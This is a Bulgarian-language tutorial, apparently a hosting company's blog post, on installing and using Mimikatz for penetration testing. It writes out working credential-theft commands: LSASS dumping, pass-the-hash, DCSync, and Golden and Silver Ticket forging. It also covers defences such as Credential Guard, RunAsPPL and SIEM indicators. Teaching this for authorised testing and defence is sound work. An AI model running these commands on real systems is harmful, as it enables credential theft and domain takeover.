15%

Спести 15% на всички хостинг услуги

Тествай уменията си и получи Отстъпка за всеки хостинг план

Използвайте код:

Skills
За начало
24.10.2024

Как да инсталирате и използвате Mimikatz: Пълно ръководство за специалисти по сигурността

Mimikatz е един от най-известните и широко обсъждани инструменти в света на киберсигурността. Първоначално разработен като proof-of-concept за демонстриране на уязвимости в Windows автентикацията, той се превърна в основен инструмент в набора от средства на специалистите по penetration testing, red team операции и изследователи в областта на сигурността. Това ръководство предоставя подробно описание на това какво представлява Mimikatz, кой го използва и как да го инсталирате и използвате отговорно в контролирана среда.

> Правна забележка: Mimikatz трябва да се използва само на системи, които притежавате или за чието тестване имате изрично писмено разрешение. Неоторизираното използване е незаконно и може да доведе до сериозни наказателноправни последствия. Това ръководство е предназначено единствено за образователни цели и легитимно тестване на сигурността.

Какво е Mimikatz?

Mimikatz е инструмент с отворен код за сигурност на Windows, създаден от френския изследовател по сигурността Benjamin Delpy. Основната му функция е да извлича идентификационни данни за автентикация — включително пароли в plaintext, NTLM хешове на пароли, PIN кодове и Kerberos билети — директно от паметта на Windows система (по-специално от процеса LSASS).

Тъй като Windows исторически е кеширал идентификационни данни в паметта, за да поддържа безпроблемна автентикация между услугите, Mimikatz успя да разкрие фундаментална слабост в дизайна на начина, по който операционната система обработва чувствителни данни за автентикация. Оттогава Microsoft въведе мерки за защита като Credential Guard и Protected Users security group, но Mimikatz продължава да се развива успоредно с тези защити, което го прави безценен референтен инструмент за разбиране на текущия пейзаж на заплахите.

Основни възможности на Mimikatz

  • Извличане на пароли в plaintext от паметта на Windows (LSASS)
  • Дъмпване на NTLM хешове от SAM базата данни и Active Directory
  • Извличане и манипулиране на Kerberos билети (атаки Golden Ticket, Silver Ticket)
  • Pass-the-Hash (PtH) автентикация с използване на прихванати хешове
  • Pass-the-Ticket (PtT) атаки с използване на откраднати Kerberos билети
  • DCSync атаки за репликиране на данни от domain controller без директен достъп

Кой използва Mimikatz и защо?

Легитимни случаи на употреба в сигурността

Mimikatz се използва предимно от специалисти по информационна сигурност в следните контексти:

  • Penetration testing — Симулиране на реални атаки за кражба на идентификационни данни, за да се оцени колко добре защитите на организацията устояват срещу противник, получил първоначален достъп.
  • Red team операции — Емулиране на техники на advanced persistent threat (APT) за тестване на възможностите за откриване и реагиране на blue team и SOC анализатори.
  • Одити на сигурността — Оценка на това дали паролите и Kerberos билетите се съхраняват и защитават в съответствие с най-добрите практики за сигурност.
  • Обучение и осведоменост — Демонстриране на системни администратори и инженери как точно работят атаките, базирани на идентификационни данни, на практика, правейки абстрактните заплахи осезаеми и приложими.
  • Изследване на уязвимости — Идентифициране на нови слабости в механизмите за автентикация на Windows, преди злонамерени участници да могат да ги използват.

Злонамерена употреба

За съжаление, Mimikatz е и любим инструмент сред заплашителните участници поради своята ефективност. Честите злонамерени случаи на употреба включват:

  • Pass-the-Hash атаки — Автентикация към системи с използване на прихванати NTLM хешове, без да се знае оригиналната парола в plaintext.
  • Pass-the-Ticket атаки — Използване на откраднати Kerberos билети за имитиране на легитимни потребители в мрежата.
  • Устойчивост след експлоатация — Събиране на идентификационни данни след първоначален пробив за странично движение в мрежата и ескалиране на привилегии.
  • Golden Ticket атаки — Фалшифициране на Kerberos Ticket Granting Tickets (TGT) за получаване на устойчив, почти неограничен достъп до ресурсите на домейна.

Разбирането на начина, по който нападателите използват Mimikatz, е именно причината защитниците да трябва да са запознати с него. Ако управлявате среда за VPS Хостинг или управлявате dedicated инфраструктура, познаването на тези вектори на атака ви помага да изградите по-устойчиви защити.

Предварителни изисквания

Преди да продължите, уверете се, че следните условия са изпълнени във вашата оторизирана тестова среда:

ИзискванеПодробности
Операционна системаWindows 7 / Windows 10 / Windows 11 / Windows Server 2008–2022
ПривилегииНеобходим е достъп на ниво Local Administrator или SYSTEM за повечето модули
Статус на антивирусната програмаВременно деактивирана или конфигурирана с изключение за тестовата директория
СредаИзолирана лабораторна среда или виртуална машина — никога на production системи
ОторизацияПисменото разрешение от собственика на системата е задължително

> Най-добра практика: Винаги извършвайте тестването с Mimikatz в изолирана виртуална машина или dedicated лабораторен сървър. Ако имате нужда от сигурна, изолирана среда за лаборатории за penetration testing, помислете за разгръщане на инстанция на VPS Хостинг с Windows образ, за да поддържате тестовете си напълно отделени от production инфраструктурата.

Стъпка 1: Изтегляне на Mimikatz

1.1 Посетете официалното GitHub хранилище

Mimikatz се поддържа като проект с отворен код. Винаги го изтегляйте от официалния източник, за да избегнете модифицирани или троянизирани версии:

Официално хранилище: https://github.com/gentilkiwi/mimikatz

1.2 Изтеглете последната версия

  1. Навигирайте до секцията Releases на хранилището (страничната лента вдясно или чрез URL пътя /releases).
  2. Намерете най-новата стабилна версия.
  3. Изтеглете предварително компилирания архив — обикновено с наименование mimikatz_trunk.zip.

1.3 Разархивирайте архива

  1. Щракнете с десния бутон върху изтегления ZIP файл.
  2. Изберете Извличане на всички…
  3. Изберете целева директория, например: C:SecurityToolsMimikatz

След извличането ще намерите две поддиректории:

  • x64 — 64-битови двоични файлове (използвайте това на съвременни системи)
  • Win32 — 32-битови двоични файлове (за legacy системи)

Основният изпълним файл, с който ще работите, е mimikatz.exe.

Стъпка 2: Стартиране на Mimikatz

2.1 Отворете команден ред с повишени привилегии

Mimikatz изисква административни привилегии за взаимодействие със защитени области на паметта. За стартиране на shell с повишени привилегии:

  1. Натиснете Windows + X
  2. Изберете Команден ред (Администратор) или Windows PowerShell (Администратор)
  3. Щракнете Да на UAC подканата

2.2 Навигирайте до директорията на Mimikatz

cd C:SecurityToolsMimikatzx64

Проверете дали mimikatz.exe е налице в тази директория:

dir mimikatz.exe

2.3 Стартирайте Mimikatz

mimikatz.exe

Ако инструментът стартира успешно, ще видите банера на Mimikatz и интерактивния prompt:

  .#####.   mimikatz 2.2.0 (x64) ...
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## /  ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ##  / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'         > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

Promptът mimikatz # потвърждава, че инструментът работи и е готов да приема команди.

2.4 Активиране на привилегии за отстраняване на грешки

Преди да изпълните повечето команди за извличане на идентификационни данни, повишете собствените привилегии на Mimikatz в сесията:

mimikatz # privilege::debug

Очакван изход:

Privilege '20' OK

Това предоставя на Mimikatz правото SeDebugPrivilege, което е необходимо за четене на паметта на защитени процеси като LSASS.

Стъпка 3: Основни команди на Mimikatz

3.1 Извличане на пароли в plaintext от паметта

Това е най-известната възможност на Mimikatz. Тя чете идентификационни данни, кеширани от доставчика на автентикация WDigest, директно от паметта на LSASS:

mimikatz # sekurlsa::logonpasswords

Какво връща:

  • Потребителски имена на влезли потребители
  • Имена на домейни
  • Пароли в plaintext (ако е активирано кеширането на WDigest)
  • NTLM хешове
  • SHA1 хешове
  • Kerberos идентификационни данни

> Забележка: В Windows 8.1 и по-нови версии Microsoft деактивира кеширането на plaintext пароли чрез WDigest по подразбиране. Въпреки това нападателите (и тестерите) могат да го активират отново чрез регистърен ключ, поради което това остава актуален тестови случай.

3.2 Показване на съхранени пароли (алтернативна команда)

mimikatz # sekurlsa::passwords

Тази команда предоставя опростен изглед на идентификационните данни, налични в системната памет.

3.3 Извличане на идентификационни данни от файл с дъмп на паметта

Ако не можете да стартирате Mimikatz директно на целевата система, можете първо да заснемете дъмп на паметта на LSASS и да го анализирате офлайн:

Създайте дъмпа с помощта на Task Manager:

  1. Отворете Task Manager → раздел Подробности
  2. Щракнете с десния бутон върху lsass.exeСъздаване на дъмп файл

Или използвайте ProcDump (от Sysinternals):

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Анализирайте дъмпа с Mimikatz:

mimikatz # sekurlsa::minidump C:PathTolsass.dmp
mimikatz # sekurlsa::logonpasswords

3.4 Изброяване на Kerberos билети

За изброяване на всички Kerberos билети, налични в текущата сесия за влизане:

mimikatz # kerberos::list

За изброяване на билети с пълни подробности, включително сесийни ключове:

mimikatz # kerberos::list /export

Това експортира всеки билет като файл .kirbi, който може да се използва в Pass-the-Ticket атаки.

3.5 Експортиране на идентификационни данни във файл

За запазване на изхода от дъмп на идентификационни данни в текстов файл за по-късен анализ:

mimikatz # sekurlsa::logonpasswords > C:SecurityToolscredentials.txt

Изходът ще бъде записан в credentials.txt в посочения път.

Стъпка 4: Разширени техники на Mimikatz

4.1 Pass-the-Hash (PtH) атака

Pass-the-Hash позволява автентикация към отдалечена система с използване на прихванат NTLM хеш, без да е необходима паролата в plaintext:

mimikatz # sekurlsa::pth /user:Administrator /domain:TARGETDOMAIN /ntlm:<NTLM_HASH> /run:cmd.exe

Това стартира нов процес cmd.exe, автентикиран като посочения потребител с използване на хеша.

4.2 Golden Ticket атака

Golden Ticket е фалшифициран Kerberos TGT, подписан с хеша на паролата на акаунта KRBTGT, предоставящ на притежателя почти неограничен достъп до ресурсите на домейна. Това изисква KRBTGT хеша, който може да бъде получен чрез DCSync:

Стъпка 1 — DCSync за извличане на KRBTGT хеш:

mimikatz # lsadump::dcsync /domain:target.local /user:krbtgt

Стъпка 2 — Създаване на Golden Ticket:

mimikatz # kerberos::golden /user:Administrator /domain:target.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ticket:golden.kirbi

Стъпка 3 — Инжектиране на билета:

mimikatz # kerberos::ptt golden.kirbi

4.3 Дъмпване на NTLM хешове от SAM базата данни

За извличане на хешове на локални акаунти от SAM базата данни (изисква SYSTEM привилегии):

mimikatz # lsadump::sam

4.4 Дъмпване на тайни от LSA

mimikatz # lsadump::secrets

Това извлича LSA тайни, които могат да включват идентификационни данни на сервизни акаунти, кеширани идентификационни данни на домейн и други чувствителни данни, съхранявани от Local Security Authority.

4.5 Silver Ticket атака

Silver Ticket е насочен към конкретна услуга, а не към целия домейн. Изисква NTLM хеша на акаунта на целевата услуга:

mimikatz # kerberos::golden /user:Administrator /domain:target.local /sid:<DOMAIN_SID> /target:<SERVICE_HOST> /service:cifs /rc4:<SERVICE_ACCOUNT_HASH> /ticket:silver.kirbi

Стъпка 5: Защитни мерки

Разбирането на начина на работа на Mimikatz е само половината от уравнението. Другата половина е да знаете как да се защитите срещу него. Ако управлявате Windows сървъри — независимо дали на Dedicated Сървъри или облачна инфраструктура — следните мерки за защита са от критично значение:

5.1 Активиране на Credential Guard

Windows Credential Guard използва virtualization-based security (VBS) за изолиране на LSASS в защитен контейнер, предотвратявайки Mimikatz от директно четене на идентификационни данни от паметта.

Активиране чрез Group Policy:

Computer Configuration → Administrative Templates → System → Device Guard → Turn On Virtualization Based Security

5.2 Деактивиране на WDigest автентикацията

Предотвратете кеширането на пароли в plaintext чрез деактивиране на WDigest:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest
UseLogonCredential = 0

5.3 Добавяне на потребители към групата Protected Users

Членовете на security групата Protected Users не могат да се автентикират с NTLM, DES или RC4 Kerberos криптиране, което значително ограничава ефективността на атаките за кражба на идентификационни данни.

5.4 Внедряване на LSA защита (RunAsPPL)

Активирайте Protected Process Light (PPL) за LSASS, за да предотвратите неоторизиран достъп до паметта:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa
RunAsPPL = 1

5.5 Наблюдение за индикатори на Mimikatz

Конфигурирайте вашето SIEM или EDR решение да предупреждава при:

  • Достъп до паметта на lsass.exe от неочаквани процеси
  • SeDebugPrivilege предоставено на процеси, различни от системни
  • Подозрителни командни шаблони sekurlsa, kerberos или lsadump в логовете на процесите
  • Необичайни събития за създаване на LSASS дъмп файл (Event ID 4656, 4663)

5.6 Поддържайте системите актуализирани

Много техники на Mimikatz използват известни уязвимости или legacy поведения. Поддържането на Windows и Active Directory напълно актуализирани елиминира цели класове вектори на атака.

Mimikatz в контекста на сигурна хостинг инфраструктура

За организации, управляващи уеб приложения, API или вътрешни услуги, рискът от кражба на идентификационни данни се простира отвъд локалната работна станция. Ако нападател получи достъп до вашата сървърна среда, инструменти като Mimikatz могат да се използват за ескалиране на привилегии и странично движение.

Изборът на хостинг доставчик, който поставя сигурността на инфраструктурно ниво на преден план, е важен слой на защита. Независимо дали имате нужда от Споделен уеб хостинг за по-малки проекти или Dedicated Сървъри за корпоративни натоварвания, осигуряването на DDoS защита, мрежова изолация и редовни актуализации на сигурността във вашата хостинг среда намалява общата ви повърхност на атака.

За екипи, управляващи Active Directory среди или приложения, базирани на Windows, съчетаването на вашата инфраструктура с правилно конфигурирани SSL Сертификати гарантира, че идентификационните данни, предавани между клиенти и сървъри, са криптирани при пренос — добавяйки още един слой на защита срещу прихващане.

Обобщение: Справочник за команди на Mimikatz

КомандаПредназначение
privilege::debugАктивиране на SeDebugPrivilege
sekurlsa::logonpasswordsДъмпване на всички идентификационни данни за влизане от LSASS
sekurlsa::passwordsПоказване на кешираните пароли от паметта
sekurlsa::minidump <file>Зареждане и анализиране на файл с дъмп на LSASS
kerberos::listИзброяване на Kerberos билети в текущата сесия
kerberos::list /exportЕкспортиране на Kerberos билети като .kirbi файлове
kerberos::ptt <ticket>Инжектиране на Kerberos билет (Pass-the-Ticket)
kerberos::goldenСъздаване на Golden Ticket
lsadump::samДъмпване на NTLM хешове от SAM базата данни
lsadump::secretsИзвличане на LSA тайни
lsadump::dcsyncРепликиране на идентификационни данни на домейн чрез DCSync
sekurlsa::pthИзвършване на Pass-the-Hash атака

Заключение

Mimikatz остава един от най-мощните и поучителни инструменти, достъпни за специалистите по киберсигурност. Способността му да разкрива фундаментални слабости в механизмите за автентикация на Windows е довела до значителни подобрения в начина, по който Microsoft проектира защитата на идентификационните данни — от Credential Guard до Protected Users до LSA PPL. За специалистите по penetration testing, red team операции и изследователи по сигурността задълбоченото разбиране на Mimikatz не е по избор; то е задължително.

Основните принципи, които трябва винаги да имате предвид:

  • Винаги получавайте изрично писмено разрешение преди да използвате Mimikatz на която и да е система.
  • Използвайте изолирани среди — виртуални машини или dedicated лабораторни сървъри — за да избегнете случайно излагане.
  • Разбирайте защитите толкова задълбочено, колкото разбирате атаките.
  • Бъдете в крак с новостите — и Mimikatz, и защитите на Windows се развиват непрекъснато.

Чрез комбиниране на практически познания за инструменти като Mimikatz със сигурна, добре конфигурирана хостинг инфраструктура, екипите по сигурността могат да изградят защити, които са действително тествани срещу реални техники за атака, а не теоретични предположения.

*AlexHost предоставя сигурни, високопроизводителни хостинг решения, проектирани с мисъл за специалистите, ориентирани към сигурността. Разгледайте нашите планове за VPS Хостинг и Dedicated Сървъри, за да изградите следващата си сигурна лабораторна или production среда.*

15%

Спести 15% на всички хостинг услуги

Тествай уменията си и получи Отстъпка за всеки хостинг план

Използвайте код:

Skills
За начало